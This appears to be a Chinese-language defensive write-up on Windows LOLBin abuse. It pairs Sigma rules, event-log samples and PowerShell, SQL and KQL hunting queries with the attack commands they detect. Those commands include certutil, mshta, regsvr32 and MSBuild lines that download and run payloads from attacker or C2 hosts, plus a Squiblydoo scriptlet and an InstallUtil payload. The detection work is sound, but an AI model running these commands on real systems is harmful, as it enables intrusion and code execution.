certutil -urlcache -split -f http://attacker.com/payload.exe C:\Temp\payload.exe

certutil -urlcache -split -f http://attacker.com/payload.exe C:\Temp\payload.exe && C:\Temp\payload.exe

certutil -urlcache -split -f http://attacker.com/encoded.txt C:\Temp\encoded.txt
certutil -decode C:\Temp\encoded.txt C:\Temp\payload.exe
C:\Temp\payload.exe

certutil -urlcache -split -f http://attacker.com/payload.exe C:\Temp\payload.exe start

certutil -encode C:\Temp\payload.exe C:\Temp\payload.txt
certutil -decode C:\Temp\payload.txt C:\Temp\payload.exe

1. 攻击者发送钓鱼邮件，附件为 .lnk 快捷方式
2. .lnk 快捷方式执行：certutil -urlcache -split -f http://attacker.com/update.exe %TEMP%\update.exe
3. Certutil 从远程服务器下载恶意载荷
4. 快捷方式执行下载的载荷

1. 攻击者已控制域内一台主机
2. 使用 Certutil 从已控制的主机下载横向移动工具
3. certutil -urlcache -split -f \\compromised-host\share\tool.exe C:\Temp\tool.exe
4. 执行横向移动工具

1. 攻击者将恶意 EXE 编码为 Base64
2. 将 Base64 文本存储在共享目录或 Web 服务器上
3. 目标机器使用 certutil -decode 解码还原
4. 绕过基于文件类型的传输检测

<Event>
  <System>
    <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}" />
    <EventID>4688</EventID>
    <Channel>Security</Channel>
  </System>
  <EventData>
    <Data Name="SubjectUserSid">S-1-5-21-xxx-1001</Data>
    <Data Name="SubjectUserName">analyst</Data>
    <Data Name="SubjectDomainName">CORP</Data>
    <Data Name="SubjectLogonId">0x12345</Data>
    <Data Name="NewProcessId">0x1a2b</Data>
    <Data Name="NewProcessName">C:\Windows\System32\certutil.exe</Data>
    <Data Name="TokenElevationType">%%1937</Data>
    <Data Name="ProcessId">0x5c6d</Data>
    <Data Name="ParentProcessName">C:\Windows\System32\cmd.exe</Data>
    <Data Name="CommandLine">certutil -urlcache -split -f http://attacker.com/payload.exe C:\Temp\payload.exe</Data>
    <Data Name="TargetUserSid">S-1-0-0</Data>
    <Data Name="TargetUserName">-</Data>
    <Data Name="TargetDomainName">-</Data>
    <Data Name="TargetLogonId">0x0</Data>
    <Data Name="ParentProcessCreationTime">2026-06-20T08:30:15.1234567Z</Data>
    <Data Name="MandatoryLabel">S-1-16-8192</Data>
  </EventData>
</Event>

title: Certutil Download File - URLCache
id: a1b2c3d4-1001-0001-abcd-ef1234567801
status: experimental
description: 检测 Certutil 使用 urlcache 参数下载文件的可疑行为
author: Security Team
date: 2026/06/25
references:
  - https://attack.mitre.org/techniques/T1105/
  - https://attack.mitre.org/techniques/T1218/003/
logsource:
  category: process_creation
  product: windows
detection:
  selection_cmd:
    Image|endswith: '\certutil.exe'
    CommandLine|contains|all:
      - '-urlcache'
      - '-split'
      - '-f'
  selection_decode:
    Image|endswith: '\certutil.exe'
    CommandLine|contains:
      - '-decode'
      - '-encode'
  selection_admin:
    Image|endswith: '\certutil.exe'
    CommandLine|contains:
      - '-ping'
      - '-CRL'
      - '-verify'
  condition: selection_cmd or selection_decode and not selection_admin
level: medium
tags:
  - attack.defense_evasion
  - attack.execution
  - attack.t1105
  - attack.t1218.003

title: Certutil Download from Non-Standard Path
id: a1b2c3d4-1001-0002-abcd-ef1234567802
status: experimental
description: 检测从非标准路径执行的 Certutil 进程
author: Security Team
date: 2026/06/25
references:
  - https://attack.mitre.org/techniques/T1218/003/
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\certutil.exe'
  filter_legitimate:
    Image|startswith:
      - 'C:\Windows\System32\'
      - 'C:\Windows\SysWOW64\'
  condition: selection and not filter_legitimate
level: high
tags:
  - attack.defense_evasion
  - attack.t1218.003

regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

<?XML version="1.0"?>
<scriptlet>
<registration
  progid="PoC"
  classid="{AAAA-BBBB}"
  version="1.00"
  remotable="true"
>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell");
r.Run("cmd.exe /c whoami > C:\Temp\output.txt");
]]>
</script>
</registration>
</scriptlet>

regsvr32 /s malicious.dll

regsvr32 /s /i:"payload" malicious.dll

<Event>
  <System>
    <Provider Name="Microsoft-Windows-Security-Auditing" />
    <EventID>4688</EventID>
    <Channel>Security</Channel>
  </System>
  <EventData>
    <Data Name="SubjectUserName">analyst</Data>
    <Data Name="NewProcessName">C:\Windows\System32\regsvr32.exe</Data>
    <Data Name="ParentProcessName">C:\Windows\System32\cmd.exe</Data>
    <Data Name="CommandLine">regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll</Data>
    <Data Name="TokenElevationType">%%1937</Data>
  </EventData>
</Event>

title: Regsvr32 Squiblydoo SCT Script Execution
id: a1b2c3d4-1002-0001-abcd-ef1234567803
status: stable
description: 检测 Regsvr32 通过 /i 参数加载远程 SCT 脚本（Squiblydoo）
author: Security Team
date: 2026/06/25
references:
  - https://attack.mitre.org/techniques/T1218/010/
  - https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
logsource:
  category: process_creation
  product: windows
detection:
  selection_sct:
    Image|endswith: '\regsvr32.exe'
    CommandLine|contains: '/i:'
    CommandLine|contains:
      - 'scrobj.dll'
  selection_scriptlet:
    Image|endswith: '\regsvr32.exe'
    CommandLine|contains|all:
      - '/s'
      - '/n'
      - '/u'
      - '/i:'
  condition: selection_sct or selection_scriptlet
level: high
tags:
  - attack.defense_evasion
  - attack.execution
  - attack.t1218.010

title: Regsvr32 Suspicious DLL Load
id: a1b2c3d4-1002-0002-abcd-ef1234567804
status: experimental
description: 检测 Regsvr32 加载非标准路径 DLL 的可疑行为
author: Security Team
date: 2026/06/25
references:
  - https://attack.mitre.org/techniques/T1218/010/
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\regsvr32.exe'
    CommandLine|contains: '/i:'
  filter_system:
    CommandLine|contains:
      - 'C:\Windows\System32\'
      - 'C:\Windows\SysWOW64\'
  condition: selection and not filter_system
level: medium
tags:
  - attack.defense_evasion
  - attack.t1218.010

mshta vbscript:Execute("MsgBox ""Hello from Mshta"":Set oShell=CreateObject(""WScript.Shell""):oShell.Run ""cmd.exe /c whoami > C:\Temp\output.txt"",0,True:Close")

mshta javascript:a=new ActiveXObject("WScript.Shell");a.Run("cmd.exe /c calc.exe",0);close

mshta "about:<script>var s=new ActiveXObject('WScript.Shell');s.Run('powershell -ep bypass -enc JABjAGwAaQBlAG4AdAA=');close</script>"

mshta http://attacker.com/payload.hta

<html>
<head>
<script language="VBScript">
Set oShell = CreateObject("WScript.Shell")
oShell.Run "cmd.exe /c powershell -ep bypass -enc JABjAGwA...", 0, True
Self.Close
</script>
</head>
<body>
<script language="VBScript">
Self.Close
</script>
</body>
</html>

mshta http://attacker.com/bypass.hta

<Event>
  <System>
    <Provider Name="Microsoft-Windows-Security-Auditing" />
    <EventID>4688</EventID>
    <Channel>Security</Channel>
  </System>
  <EventData>
    <Data Name="SubjectUserName">analyst</Data>
    <Data Name="NewProcessName">C:\Windows\System32\mshta.exe</Data>
    <Data Name="ParentProcessName">C:\Windows\System32\cmd.exe</Data>
    <Data Name="CommandLine">mshta http://attacker.com/payload.hta</Data>
  </EventData>
</Event>

title: Mshta Remote HTA Execution
id: a1b2c3d4-1003-0001-abcd-ef1234567805
status: stable
description: 检测 Mshta 从远程服务器加载并执行 HTA 文件
author: Security Team
date: 2026/06/25
references:
  - https://attack.mitre.org/techniques/T1218/005/
  - https://lolbas-project.github.io/lolbas/Binaries/Mshta/
logsource:
  category: process_creation
  product: windows
detection:
  selection_remote:
    Image|endswith: '\mshta.exe'
    CommandLine|contains:
      - 'http://'
      - 'https://'
  selection_script:
    Image|endswith: '\mshta.exe'
    CommandLine|contains:
      - 'vbscript:'
      - 'javascript:'
      - 'about:<'
      - 'about:"'
  selection_spawn:
    Image|endswith: '\mshta.exe'
    ParentImage|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\wscript.exe'
      - '\cscript.exe'
  condition: selection_remote or selection_script or selection_spawn
level: high
tags:
  - attack.defense_evasion
  - attack.execution
  - attack.t1218.005

title: Mshta Spawns Suspicious Child Process
id: a1b2c3d4-1003-0002-abcd-ef1234567806
status: experimental
description: 检测 Mshta 创建可疑子进程（cmd.exe、powershell.exe 等）
author: Security Team
date: 2026/06/25
references:
  - https://attack.mitre.org/techniques/T1218/005/
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith: '\mshta.exe'
  selection_child:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\powershell_ise.exe'
      - '\wscript.exe'
      - '\cscript.exe'
      - '\regsvr32.exe'
      - '\rundll32.exe'
  condition: selection_parent and selection_child
level: high
tags:
  - attack.defense_evasion
  - attack.execution
  - attack.t1218.005

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Temp\malicious.dll

using System;
using System.Configuration.Install;

[RunInstaller(true)]
public class Payload : Installer {
    public override void Uninstall(System.Collections.IDictionary savedState) {
        System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\Temp\\output.txt");
    }
}

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Temp\unsigned_payload.dll

<Event>
  <System>
    <Provider Name="Microsoft-Windows-Security-Auditing" />
    <EventID>4688</EventID>
    <Channel>Security</Channel>
  </System>
  <EventData>
    <Data Name="SubjectUserName">analyst</Data>
    <Data Name="NewProcessName">C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe</Data>
    <Data Name="ParentProcessName">C:\Windows\System32\cmd.exe</Data>
    <Data Name="CommandLine">C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Temp\malicious.dll</Data>
  </EventData>
</Event>

title: InstallUtil Suspicious Execution
id: a1b2c3d4-1004-0001-abcd-ef1234567807
status: stable
description: 检测 InstallUtil 被用于执行可疑的 .NET 程序集
author: Security Team
date: 2026/06/25
references:
  - https://attack.mitre.org/techniques/T1218/004/
  - https://lolbas-project.github.io/lolbas/Binaries/InstallUtil/
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\InstallUtil.exe'
    CommandLine|contains: '/U'
  filter_legitimate:
    CommandLine|contains:
      - 'C:\Program Files'
      - 'C:\Program Files (x86)'
      - 'Microsoft\VisualStudio'
      - 'packages\'
  condition: selection and not filter_legitimate
level: medium
tags:
  - attack.defense_evasion
  - attack.execution
  - attack.t1218.004

title: InstallUtil Spawns Suspicious Process
id: a1b2c3d4-1004-0002-abcd-ef1234567808
status: experimental
description: 检测 InstallUtil 创建可疑子进程
author: Security Team
date: 2026/06/25
references:
  - https://attack.mitre.org/techniques/T1218/004/
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith: '\InstallUtil.exe'
  selection_child:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\wscript.exe'
      - '\cscript.exe'
      - '\mshta.exe'
      - '\regsvr32.exe'
  condition: selection_parent and selection_child
level: high
tags:
  - attack.defense_evasion
  - attack.execution
  - attack.t1218.004

rundll32.exe C:\Temp\malicious.dll,EntryPoint

rundll32.exe C:\Temp\malicious.dll,#1

rundll32.exe \\attacker-host\share\malicious.dll,EntryPoint

\\.\pipe\malicious.dll

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=new%20ActiveXObject("WScript.Shell");o.Run("cmd.exe /c whoami",0,true);

rundll32.exe javascript:"mshtml";var r=new%20ActiveXObject("WScript.Shell");r.Run("powershell -ep bypass -enc JABjAGwA...",0);

rundll32.exe shell32.dll,Control_RunDLL timedate.cpl
rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl

<Event>
  <System>
    <Provider Name="Microsoft-Windows-Security-Auditing" />
    <EventID>4688</EventID>
    <Channel>Security</Channel>
  </System>
  <EventData>
    <Data Name="SubjectUserName">analyst</Data>
    <Data Name="NewProcessName">C:\Windows\System32\rundll32.exe</Data>
    <Data Name="ParentProcessName">C:\Windows\System32\cmd.exe</Data>
    <Data Name="CommandLine">rundll32.exe C:\Temp\malicious.dll,EntryPoint</Data>
  </EventData>
</Event>

title: Rundll32 Suspicious DLL Execution
id: a1b2c3d4-1005-0001-abcd-ef1234567809
status: stable
description: 检测 Rundll32 加载来自非标准路径的 DLL
author: Security Team
date: 2026/06/25
references:
  - https://attack.mitre.org/techniques/T1218/011/
  - https://lolbas-project.github.io/lolbas/Binaries/Rundll32/
logsource:
  category: process_creation
  product: windows
detection:
  selection_dll:
    Image|endswith: '\rundll32.exe'
    CommandLine|endswith:
      - '.dll,EntryPoint'
      - '.dll,#1'
      - '.dll,#2'
  selection_js:
    Image|endswith: '\rundll32.exe'
    CommandLine|contains:
      - 'javascript:'
      - 'mshtml'
  selection_unc:
    Image|endswith: '\rundll32.exe'
    CommandLine|contains: '\\\\'
  selection_nonstandard:
    Image|endswith: '\rundll32.exe'
    CommandLine|contains:
      - '\Temp\'
      - '\AppData\'
      - '\Downloads\'
      - '\Public\'
  condition: selection_dll or selection_js or selection_unc or selection_nonstandard
level: high
tags:
  - attack.defense_evasion
  - attack.execution
  - attack.t1218.011

title: Rundll32 Spawns Suspicious Child Process
id: a1b2c3d4-1005-0002-abcd-ef1234567810
status: experimental
description: 检测 Rundll32 创建可疑子进程
author: Security Team
date: 2026/06/25
references:
  - https://attack.mitre.org/techniques/T1218/011/
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith: '\rundll32.exe'
  selection_child:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\powershell_ise.exe'
      - '\wscript.exe'
      - '\cscript.exe'
      - '\mshta.exe'
      - '\regsvr32.exe'
      - '\certutil.exe'
  condition: selection_parent and selection_child
level: high
tags:
  - attack.defense_evasion
  - attack.execution
  - attack.t1218.011

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <UsingTask TaskName="Payload" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Reference Include="System.Xml"/>
      <Reference Include="System.Xml.Linq"/>
      <Code Type="Fragment" Language="cs">
        <![CDATA[
          System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\Temp\\output.txt");
        ]]>
      </Code>
    </Task>
  </UsingTask>
  <Target Name="Build">
    <Payload/>
  </Target>
</Project>

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\project.csproj

<Code Type="Fragment" Language="cs">
  <![CDATA[
    string encoded = "JABjAGwAaQBlAG4AdAA9..." ;
    byte[] data = Convert.FromBase64String(encoded);
    System.Reflection.Assembly.Load(data).GetType("Payload").GetMethod("Execute").Invoke(null, null);
  ]]>
</Code>

<Code Type="Fragment" Language="cs">
  <![CDATA[
    var client = new System.Net.WebClient();
    byte[] data = client.DownloadData("http://attacker.com/payload.exe");
    System.IO.File.WriteAllBytes("C:\\Temp\\payload.exe", data);
    System.Diagnostics.Process.Start("C:\\Temp\\payload.exe");
  ]]>
</Code>

<Event>
  <System>
    <Provider Name="Microsoft-Windows-Security-Auditing" />
    <EventID>4688</EventID>
    <Channel>Security</Channel>
  </System>
  <EventData>
    <Data Name="SubjectUserName">analyst</Data>
    <Data Name="NewProcessName">C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe</Data>
    <Data Name="ParentProcessName">C:\Windows\System32\cmd.exe</Data>
    <Data Name="CommandLine">C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Temp\project.csproj</Data>
  </EventData>
</Event>

title: MSBuild Inline Task Execution
id: a1b2c3d4-1006-0001-abcd-ef1234567811
status: stable
description: 检测 MSBuild 执行来自非开发环境的项目文件
author: Security Team
date: 2026/06/25
references:
  - https://attack.mitre.org/techniques/T1218/004/
  - https://lolbas-project.github.io/lolbas/Binaries/Msbuild/
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\MSBuild.exe'
    CommandLine|endswith:
      - '.csproj'
      - '.vbproj'
      - '.fsproj'
  filter_dev:
    CommandLine|contains:
      - 'C:\Program Files\Microsoft Visual Studio'
      - 'C:\Program Files (x86)\Microsoft Visual Studio'
      - 'C:\Users\*\.nuget\'
      - 'C:\Users\*\source\repos\'
  condition: selection and not filter_dev
level: medium
tags:
  - attack.defense_evasion
  - attack.execution
  - attack.t1218.004

title: MSBuild Spawns Suspicious Child Process
id: a1b2c3d4-1006-0002-abcd-ef1234567812
status: experimental
description: 检测 MSBuild 创建可疑子进程
author: Security Team
date: 2026/06/25
references:
  - https://attack.mitre.org/techniques/T1218/004/
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith: '\MSBuild.exe'
  selection_child:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\powershell_ise.exe'
      - '\wscript.exe'
      - '\cscript.exe'
      - '\certutil.exe'
      - '\regsvr32.exe'
  condition: selection_parent and selection_child
level: high
tags:
  - attack.defense_evasion
  - attack.execution
  - attack.t1218.004

wmic process call create "cmd.exe /c whoami > C:\Temp\output.txt"
wmic process call create "powershell -ep bypass -enc JABjAGwA..."
wmic /node:"remote-host" process call create "cmd.exe /c malicious.exe"

cmd.exe /c whoami && net user && net localgroup administrators
cmd.exe /c "echo payload | powershell -ep bypass -"
cmd.exe /c certutil -urlcache -split -f http://attacker.com/payload.exe

wscript.exe //B //Nologo C:\Temp\payload.vbs
cscript.exe //B //Nologo C:\Temp\payload.js
wscript.exe //B http://attacker.com/payload.vbs

PresentationHost.exe "http://attacker.com/payload.xbap"
PresentationHost.exe "C:\Temp\malicious.xaml"

desktopimgdownldr.com /url "http://attacker.com/wallpaper.exe" /set "C:\Temp\wallpaper.exe"

取证分析框架：
├── Windows Security 事件日志
│   ├── Event ID 4688 — 进程创建（CommandLine 需启用审计）
│   ├── Event ID 4624 — 登录事件
│   ├── Event ID 4672 — 特殊权限分配
│   ├── Event ID 4689 — 进程退出
│   └── Event ID 5140/5145 — 网络共享访问
├── Sysmon 事件日志
│   ├── Event ID 1 — 进程创建（增强版）
│   ├── Event ID 3 — 网络连接
│   ├── Event ID 7 — 映像加载
│   ├── Event ID 11 — 文件创建
│   ├── Event ID 15 — 文件流创建
│   └── Event ID 22 — DNS 查询
├── PowerShell 日志
│   ├── Event ID 4103 — Module Logging
│   ├── Event ID 4104 — Script Block Logging
│   └── Event ID 4105/4106 — Script Block 执行
├── .NET CLR 日志
│   └── Event ID 40962/40963 — CLR 绑定和加载
├── 文件系统痕迹
│   ├── Prefetch 文件
│   ├── Amcache.hve
│   ├── Recent 文件夹
│   └── %TEMP% 目录
└── 注册表痕迹
    ├── UserAssist
    ├── ShellBags
    └── Amcache 注册表键

-urlcache      → 下载文件（高度可疑）
-split          → 配合 urlcache 使用（高度可疑）
-f              → 强制覆盖（高度可疑）
-encode         → 编码文件（需要上下文判断）
-decode         → 解码文件（高度可疑，配合下载场景）
-url            → 指定 URL（高度可疑）

/s              → 静默模式（可疑，需结合其他参数）
/u              → 注销模式（可疑，配合 /i 使用）
/n              → 不调用 DllRegisterServer（可疑）
/i:             → 传递参数给 DllInstall（高度可疑，特别是 /i:http）
scrobj.dll      → COM 脚本解释器（高度可疑，几乎所有攻击场景）

vbscript:       → 内嵌 VBScript 执行（高度可疑）
javascript:     → 内嵌 JScript 执行（高度可疑）
about:          → about: 协议执行（高度可疑）
http://         → 远程 HTA 文件（高度可疑）
https://        → 远程 HTA 文件（高度可疑）

javascript:     → JavaScript 执行（高度可疑）
mshtml          → 配合 JavaScript 使用（高度可疑）
UNC 路径 \\     → 远程 DLL 加载（高度可疑）
非标准 DLL 路径 → 非 System32 路径的 DLL（高度可疑）

$prefetchPath = "C:\Windows\Prefetch"
Get-ChildItem -Path $prefetchPath -Filter "*CERTUTIL*" | ForEach-Object {
    [PSCustomObject]@{
        FileName = $_.Name
        LastWriteTime = $_.LastWriteTime
        Size = $_.Length
    }
}

CERTUTIL.EXE-{HASH}.pf       → Certutil 执行记录
REGSVR32.EXE-{HASH}.pf       → Regsvr32 执行记录
MSHTA.EXE-{HASH}.pf          → Mshta 执行记录
RUNDLL32.EXE-{HASH}.pf       → Rundll32 执行记录
INSTALLUTIL.EXE-{HASH}.pf    → InstallUtil 执行记录
MSBUILD.EXE-{HASH}.pf        → MSBuild 执行记录

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Amcache
    Root\{Volume GUID}\<SHA1 Hash>
        (Default) = Executable path
        FileId = File ID
        LowerCaseLongPath = 长路径
        LongPath = 完整路径
        ProductName = 产品名称
        BinFileVersion = 文件版本
        LinkDate = 链接日期
        Size = 文件大小

$processes = Get-Process | Where-Object {
    $_.ProcessName -match 'certutil|regsvr32|mshta|rundll32|installutil|msbuild'
} | Select-Object Id, ProcessName, Path, CommandLine
$processes | Format-Table -AutoSize

User-Agent: Microsoft-CryptoAPI/10.0
方法: GET
响应类型: 二进制/可执行文件

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0)
方法: GET
响应 Content-Type: application/hta

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0)
方法: GET
响应 Content-Type: text/xml

mshta.exe vbscript:Execute("CreateObject(""WScript.Shell"").Run ""certutil -urlcache -split -f http://c2-server.com/update.exe %TEMP%\update.exe"",0:CreateObject(""WScript.Shell"").Run ""%TEMP%\update.exe"",0:Close")

regsvr32 /s /n /u /i:http://apt38-c2.com/loader.sct scrobj.dll

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=new%20ActiveXObject("WScript.Shell");o.Run("powershell -ep bypass -enc JABjAGwA...",0,true);

function Find-LOLBinsAbuse {
    param(
        [int]$HoursToSearch = 24,
        [string]$OutputPath = "C:\Temp\LOLBinsAbuseReport.csv"
    )

    $startTime = (Get-Date).AddHours(-$HoursToSearch)
    $results = @()

    $lolBinPatterns = @{
        'Certutil' = @{
            Image = '*\certutil.exe'
            SuspiciousArgs = @('-urlcache', '-decode', '-encode', '-ping')
        }
        'Regsvr32' = @{
            Image = '*\regsvr32.exe'
            SuspiciousArgs = @('/i:http', '/i:https', 'scrobj.dll', '/s /n /u')
        }
        'Mshta' = @{
            Image = '*\mshta.exe'
            SuspiciousArgs = @('vbscript:', 'javascript:', 'http://', 'https://', 'about:<')
        }
        'Rundll32' = @{
            Image = '*\rundll32.exe'
            SuspiciousArgs = @('javascript:', 'mshtml', '\\\\', '\Temp\', '\AppData\')
        }
        'InstallUtil' = @{
            Image = '*\InstallUtil.exe'
            SuspiciousArgs = @('/U', '/logfile=')
        }
        'MSBuild' = @{
            Image = '*\MSBuild.exe'
            SuspiciousArgs = @('.csproj', '.vbproj', '.fsproj')
        }
    }

    $processEvents = Get-WinEvent -FilterHashtable @{
        LogName = 'Security'
        Id = 4688
        StartTime = $startTime
    } -ErrorAction SilentlyContinue

    foreach ($event in $processEvents) {
        $xml = [xml]$event.ToXml()
        $newProcess = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'NewProcessName' } | Select-Object -ExpandProperty '#text'
        $parentProcess = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'ParentProcessName' } | Select-Object -ExpandProperty '#text'
        $commandLine = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'CommandLine' } | Select-Object -ExpandProperty '#text'
        $subjectUser = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'SubjectUserName' } | Select-Object -ExpandProperty '#text'

        foreach ($toolName in $lolBinPatterns.Keys) {
            $pattern = $lolBinPatterns[$toolName]
            if ($newProcess -like $pattern.Image) {
                $isSuspicious = $false
                $matchedArg = ''
                foreach ($arg in $pattern.SuspiciousArgs) {
                    if ($commandLine -like "*$arg*") {
                        $isSuspicious = $true
                        $matchedArg = $arg
                        break
                    }
                }

                if ($isSuspicious) {
                    $results += [PSCustomObject]@{
                        Time = $event.TimeCreated
                        Tool = $toolName
                        EventID = 4688
                        AlertType = 'LOLBins_Abuse'
                        MatchedArg = $matchedArg
                        UserName = $subjectUser
                        ParentProcess = $parentProcess
                        CommandLine = $commandLine
                        Severity = 'HIGH'
                    }
                }
            }
        }
    }

    $results | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
    Write-Host "Found $($results.Count) suspicious LOLBin events. Report saved to $OutputPath"
    return $results
}

Find-LOLBinsAbuse -HoursToSearch 48

SELECT TimeCreated, EventID, SubjectUserName, NewProcessName, ParentProcessName, CommandLine
FROM SecurityEvents
WHERE EventID = 4688
  AND (
    (NewProcessName LIKE '%certutil.exe' AND CommandLine LIKE '%urlcache%')
    OR (NewProcessName LIKE '%certutil.exe' AND CommandLine LIKE '%-decode%')
    OR (NewProcessName LIKE '%mshta.exe' AND CommandLine LIKE '%http%')
    OR (NewProcessName LIKE '%regsvr32.exe' AND CommandLine LIKE '%/i:http%')
    OR (NewProcessName LIKE '%rundll32.exe' AND CommandLine LIKE '%javascript%')
    OR (NewProcessName LIKE '%rundll32.exe' AND CommandLine LIKE '%\\\\%')
    OR (NewProcessName LIKE '%msbuild.exe' AND CommandLine LIKE '%.csproj%')
  )
ORDER BY TimeCreated DESC

SELECT e2.TimeCreated, e2.SubjectUserName, e2.NewProcessName AS ChildProcess,
       e2.ParentProcessName AS ParentProcess, e2.CommandLine AS ChildCommandLine
FROM SecurityEvents e1
INNER JOIN SecurityEvents e2
  ON e1.NewProcessId = e2.ProcessId
WHERE e1.EventID = 4688
  AND e2.EventID = 4688
  AND e1.NewProcessName LIKE '%certutil.exe%'
  AND e2.NewProcessName IN ('cmd.exe', 'powershell.exe', 'wscript.exe')
ORDER BY e1.TimeCreated DESC

SecurityEvent
| where EventID == 4688
| where NewProcessName has_any ("certutil.exe", "regsvr32.exe", "mshta.exe", "rundll32.exe", "installutil.exe", "msbuild.exe")
| extend CmdLine = CommandLine
| where CmdLine has_any ("-urlcache", "-decode", "/i:http", "vbscript:", "javascript:", "mshtml", "\\\\", ".csproj", "/U", "http://", "https://")
| project TimeGenerated, Computer, SubjectUserName, NewProcessName, ParentProcessName, CommandLine
| sort by TimeGenerated desc

DeviceProcessEvents
| where FileName in~ ("certutil.exe", "regsvr32.exe", "mshta.exe", "rundll32.exe")
| where InitiatingProcessFileName in~ ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe")
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc

title: LOLBins - Certutil Download and Execute
id: e5f6a7b8-2001-0001-abcd-ef1234567813
status: stable
description: 检测 Certutil 下载并执行文件的完整攻击链
author: Security Team
date: 2026/06/25
references:
  - https://attack.mitre.org/techniques/T1105/
  - https://attack.mitre.org/techniques/T1218/003/
  - https://lolbas-project.github.io/lolbas/Binaries/Certutil/
logsource:
  category: process_creation
  product: windows
detection:
  selection_download:
    Image|endswith: '\certutil.exe'
    CommandLine|contains|all:
      - '-urlcache'
      - '-split'
      - '-f'
  selection_decode:
    Image|endswith: '\certutil.exe'
    CommandLine|contains: '-decode'
  condition: selection_download or selection_decode
level: medium
tags:
  - attack.defense_evasion
  - attack.execution
  - attack.t1105
  - attack.t1218.003

title: LOLBins - Regsvr32 Squiblydoo Execution
id: e5f6a7b8-2001-0002-abcd-ef1234567814
status: stable
description: 检测 Regsvr32 通过 /i 参数加载远程 SCT 脚本执行（Squiblydoo 技术）
author: Security Team
date: 2026/06/25
references:
  - https://attack.mitre.org/techniques/T1218/010/
  - https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\regsvr32.exe'
    CommandLine|contains|all:
      - '/s'
      - '/n'
      - '/u'
      - '/i:'
  selection_scrobj:
    Image|endswith: '\regsvr32.exe'
    CommandLine|contains: 'scrobj.dll'
  condition: selection or selection_scrobj
level: high
tags:
  - attack.defense_evasion
  - attack.execution
  - attack.t1218.010

title: LOLBins - Mshta Remote Code Execution
id: e5f6a7b8-2001-0003-abcd-ef1234567815
status: stable
description: 检测 Mshta 执行远程 HTA 文件或内嵌脚本
author: Security Team
date: 2026/06/25
references:
  - https://attack.mitre.org/techniques/T1218/005/
  - https://lolbas-project.github.io/lolbas/Binaries/Mshta/
logsource:
  category: process_creation
  product: windows
detection:
  selection_remote:
    Image|endswith: '\mshta.exe'
    CommandLine|contains:
      - 'http://'
      - 'https://'
  selection_script:
    Image|endswith: '\mshta.exe'
    CommandLine|contains:
      - 'vbscript:'
      - 'javascript:'
      - 'about:<'
      - 'about:"'
  condition: selection_remote or selection_script
level: high
tags:
  - attack.defense_evasion
  - attack.execution
  - attack.t1218.005

title: LOLBins - Rundll32 JavaScript Execution
id: e5f6a7b8-2001-0004-abcd-ef1234567816
status: stable
description: 检测 Rundll32 通过 JavaScript 协议执行恶意代码
author: Security Team
date: 2026/06/25
references:
  - https://attack.mitre.org/techniques/T1218/011/
  - https://lolbas-project.github.io/lolbas/Binaries/Rundll32/
logsource:
  category: process_creation
  product: windows
detection:
  selection_js:
    Image|endswith: '\rundll32.exe'
    CommandLine|contains:
      - 'javascript:'
      - 'mshtml'
  selection_unc:
    Image|endswith: '\rundll32.exe'
    CommandLine|contains: '\\\\'
  selection_nontemp:
    Image|endswith: '\rundll32.exe'
    CommandLine|contains:
      - '\Temp\'
      - '\AppData\'
      - '\Downloads\'
      - '\Public\'
  condition: selection_js or selection_unc or selection_nontemp
level: high
tags:
  - attack.defense_evasion
  - attack.execution
